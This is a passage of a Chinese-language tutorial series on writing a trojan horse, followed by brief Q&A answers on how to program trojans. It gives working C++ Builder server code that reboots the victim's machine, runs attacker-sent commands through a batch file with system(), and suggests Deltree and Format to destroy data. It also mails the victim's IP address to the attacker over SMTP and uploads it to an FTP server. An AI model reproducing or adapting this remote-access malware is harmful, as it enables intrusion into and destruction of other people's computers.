AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本進程的權利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://強行退出WinNt並重啟
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://強行退出Win9x並重啟
}
}
如果以上都不是,就讓它在Dos窗口中執行傳來的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://創建Win369.bat,如果已存在就覆蓋
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
Socket->SendText("Fail By Open File");
file://返回「Fail By Open File」的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://寫入欲執行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://寫入換行符
fclose(fp);
file://關閉Win369.bat
system(TempFile);
file://執行Win369.bat
Socket->SendText("Success");
file://返回「Success」信息
}
}
你可以直接執行什麼Ping和Tracert之類的命令來進一步刺探目標機的網路狀況(判斷是否是一個企業的區域網),然後可以進一步攻擊,比如Deltree和Format命令。^_^

到此,伺服器程序的功能已全部完成,但還差容錯部分未完成,這樣才能避免程序因意外而崩潰。朋友,別走開!(未完待續)
木馬是如何編寫的(三)
武漢 周侃
上次已編寫完伺服器端的各種功能,但還差容錯部分還未完成,下面我們Go on! 其代碼如下(照敲不誤 ^_^):
{
END:;
Socket->Close();
file://關閉服務
ServerSocket1->Active =true;
file://再次打開服務
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如果SMTP伺服器已連接則斷開
NMSMTP1->Host = "smtp.163.net";
file://選一個好用的SMTP伺服器,如163、263、sina和btamail
NMSMTP1->UserID = "";
file://你SMTP的ID
try
{
NMSMTP1->Connect();
file://再次連接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "[email protected]";
file://將信發到我的郵箱,這一步很關鍵
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信的內容提示你「伺服器正在運行」,並且告訴你受害者的目前的IP地址,以便連接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信的主題
NMSMTP1->SendMail();
file://發送!
return;
file://返回
NextTime:
NMFTP1->Host = "ftp.go.163.com";
file://你的FTP伺服器的地址
NMFTP1->UserID = "";
file://你的用戶ID
NMFTP1->Port = 21;
file://FTP埠號,一般為21
NMFTP1->Password = "";
file://你的FTP的密碼
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如果已連接就斷開
try
{
NMFTP1->Connect();
file://再連接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://創建一個新文件准備寫,如果已存在就覆蓋
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://寫入以上的SendToSite的內容
fclose(Upload);
file://寫完後關閉此文件
NMFTP1->RemoveDir("public_html");
file://刪除public_html目錄
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上傳!
}
啊,超長的OnClientRead事件終於寫完了。最後別忘了要在此伺服器源碼文件中添加以下頭文件:
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <dos.h>
#include <sys\stat.h>
#include <winbase.h>
#include <stdio.h>
#include <process.h>
#include <io.h>
#include <mmsystem.h>
至此,伺服器端(Server)程序

I. 木馬是怎麼編出來的,需要什麼軟體編程 詳細的說一下,我只是好奇問問 我是電腦新手

匯編,vb,c++,c,Delphi都可以寫

J. 木馬病毒怎麼編程,有什麼編,編程後怎麼用

要編木馬.就要學一門程序設計語言,VB可以,C語言也可以..不過JAVA.之類的就不用了.不用可視化了..
學了語言後你要有對計算機安全系統的了解
然後想出你的木馬要做什麼
然後設計演算法.
最後代碼實現就行了..

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